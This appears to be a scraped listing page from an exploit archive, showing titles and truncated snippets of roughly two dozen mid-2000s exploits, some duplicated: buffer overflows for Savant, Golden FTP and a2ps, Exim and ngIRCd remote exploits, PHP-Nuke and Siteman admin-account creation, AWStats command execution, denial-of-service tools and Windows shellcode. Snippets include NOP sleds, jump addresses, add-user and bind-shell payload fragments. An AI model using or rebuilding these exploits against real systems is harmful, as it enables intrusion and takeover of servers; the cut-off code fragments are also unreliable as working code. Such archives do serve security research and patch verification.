GNU a2ps - Anything to PostScript Not SUID Local Overflow

/ Not added to Local Non Poc section /str0ke / include include include // by lizard / lizstyleatgmail.com // greets go to slider/trog for helpin me // not suid by default ; define VULNTHING "/usr/bin/a2ps" define DEFRET 0xbffffffa - strlensc - strlenVULNTHING define xnullbitch 1100 //im not a asm...

Exim 4.43 - auth_spa_server() Remote

Exim 4.43 - authspaserver Remote / ecl-eximspa.c Yuri Gushin Howdy : This is pretty straightforward, an exploit for the recently discovered vulnerability in Exim's all versions prior to and including 4.43 SPA authentication code - spabase64tobits will overflow a fixed-size buffer since there's no...

MSN Messenger PNG Image Buffer Overflow (linux compile)

Exploit for unknown platform in category remote exploits ======================================================= MSN Messenger PNG Image Buffer Overflow linux compile ======================================================= / Remember g++ k /str0ke / / MSN Messenger PNG Image Buffer Overflow...

PHP-Nuke 7.4 - Admin

/ old exploit but what pretty code /str0ke / / phpNUKE v7.4 exploit this exploit create new admin with relative passwd that you specified on parameter of exploit you take administrative control of the webPortal Reverences: http://www.osvdb.org/9563 coded by: Silentium of Anacron Group Italy date:...

Mac OS X AppleFileServer Remote Denial of Service Exploit

Exploit for macOS platform in category dos / poc ========================================================= Mac OS X AppleFileServer Remote Denial of Service Exploit ========================================================= / fm-afp.c - nemo @ felinemenace.org - 2005 Code for afp bug found by Brad...

Mac OS X AppleFileServer Remote Denial of Service Exploit

No description provided by source. / fm-afp.c - nemo @ felinemenace.org - 2005 Code for afp bug found by Braden Thomas. Again hello to everyone @ irc.pulltheplug.org need a challenge? - http://pulltheplug.org - / include sys/types.h include sys/socket.h include netinet/in.h include arpa/inet.h...

DelphiTurk CodeBank 3.1 Local Username and Password Disclosure

No description provided by source. / DelphiTurk CodeBank Local Exploit Application: DelphiTurk CodeBank 3.1 and previous versions Procuder: Delphiturk.com Vulnerable Description: Delhiturk CodeBank discloses username and password to local users. Coded by: Kozan Web: www.netmagister.com Mail:...

ngIRCd <= 0.8.2 Remote Format String Exploit

No description provided by source. / ngircdfsexp.c ngIRCd = 0.8.2 remote format string exploit Note: To obtain a successful exploitation, we need that ngIRCd has been compiled with IDENT, logging to SYSLOG and DEBUG enabled. Original Reference: http://www.nosystem.com.ar/advisories/advisory-11.tx...

savant31remote.txt

Savant web server Buffer Overflow Exploit Discovered by : Mati Aharoni Coded by : Tal Zeltzer and Mati Aharoni www.see-security.com FOR RESEACRH PURPOSES ONLY! import struct import socket sc = "\x90" 21 win32adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub...

TinyWeb 1.9 - Denial of Service

TinyWeb version 1.9 DoS Exploit Coded bY ++Karak0rsan++ Usage:perl tiny.pl target Greetz:Phalaposher,r3db4r0n,Hurby,ZzagorR,L4M3R,zeronc,Atak,sloan,fox and all my friends w0rdz: cengiz g t ne sokam senin ehehheh bak exploit yay nlan rsa reziL olacan :D ama yay nlanmaz belki yay nlansada bo ver...

Savant Web Server 3.1 - Remote Buffer Overflow (1)

Savant web server Buffer Overflow Exploit Discovered by : Mati Aharoni Coded by : Tal Zeltzer and Mati Aharoni www.see-security.com FOR RESEACRH PURPOSES ONLY! import struct import socket sc = "\x90" 21 win32adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub...

Savant Web Server 3.1 - Remote Buffer Overflow (1)

Savant Web Server 3.1 - Remote Buffer Overflow 1 Savant web server Buffer Overflow Exploit Discovered by : Mati Aharoni Coded by : Tal Zeltzer and Mati Aharoni www.see-security.com FOR RESEACRH PURPOSES ONLY! import struct import socket sc = "\x90" 21 win32adduser - PASS=pwd EXITFUNC=thread USER=...

JShop E-Commerce Suite 1.2 Product.PHP Cross-Site Scripting Vulnerability

JShop E-Commerce Suite 1.2 Product.PHP Cross-Site Scripting Vulnerability. Webapps exploit for php platform source: http://www.securityfocus.com/bid/12403/info JShop E-Commerce Suite is affected by a cross-site scripting vulnerability in the 'product.php' script. As a result of this vulnerability...

WarFTPD 1.82 RC9 DoS

Hello, due to an access violation, specialy crafted CWD-Commands will exit the FTP server when running as a NT service. User needs to be logged on. Vendor's report can be found at http://support.jgaa.com/index.php?cmd=ShowReport&ID=02643 Solution: deny anonymous or untrusted logins or use patched...

windows 9x/NT/2k/XP PEB method 31 bytes

Exploit for win32 platform in category shellcode ======================================= Windows 9x/NT/2k/XP PEB method 31 bytes ======================================= / 004045F4 6A 30 PUSH 30 004045F6 59 POP ECX 004045F7 64:8B09 MOV ECX,DWORD PTR FS:ECX 004045FA 85C9 TEST ECX,ECX 004045FC 78 0C...

Windows 9x/NT/2k/XP PEB method 31 bytes

Windows 9x/NT/2k/XP PEB method 31 bytes. Shellcode exploit for win32 platform / 004045F4 6A 30 PUSH 30 004045F6 59 POP ECX 004045F7 64:8B09 MOV ECX,DWORD PTR FS:ECX 004045FA 85C9 TEST ECX,ECX 004045FC 78 0C JS SHORT OllyTest.0040460A 004045FE 8B49 0C MOV ECX,DWORD PTR DS:ECX+C 00404601 8B71 1C MO...

AWStats configdir Remote Command Execution Exploit (perl code)

No description provided by source. !/usr/bin/perl ---GHC--------------------------------- Remote command execution exploit Product: Advanced Web Statistics 6.0 - 6.2 URL:http://awstats.sourceforge.net Greets & respects to our friends: 1dt.w0lf and all rst.void.ru Special greets 2 d0G4 & cr0n for...

Siteman 1.1.10 - Remote Administrative Account Addition

!/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.host my $Path = shift; my $Host = shift; my $Username = shift; my...

Funduc Search and Replace Compressed File Local BoF Exploit

No description provided by source. / Search and Replace Compressed File search Local Buffer Overflow Exploit Discoveried & Coded By ATmaCA Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved. Web: http://www.atmacasoft.com E-Mail: [email protected] Greetings to: Tarako / / Search and Replac...

Golden FTP Server 2.02b - Remote Buffer Overflow

!/usr/bin/perl -w Barabas - www.whitehat.co.il - cheers to muts and all peeps at WH. XPSP2 goldenftpserver sploit - bind 4444 use strict; use Net::FTP; my $payload="\x41"x260; $payload .="\x65\x82\xa5\x7c";jmpesp $payload .="\x90"x32;not really necessary...blah win32bind - EXITFUNC=seh LPORT=4444...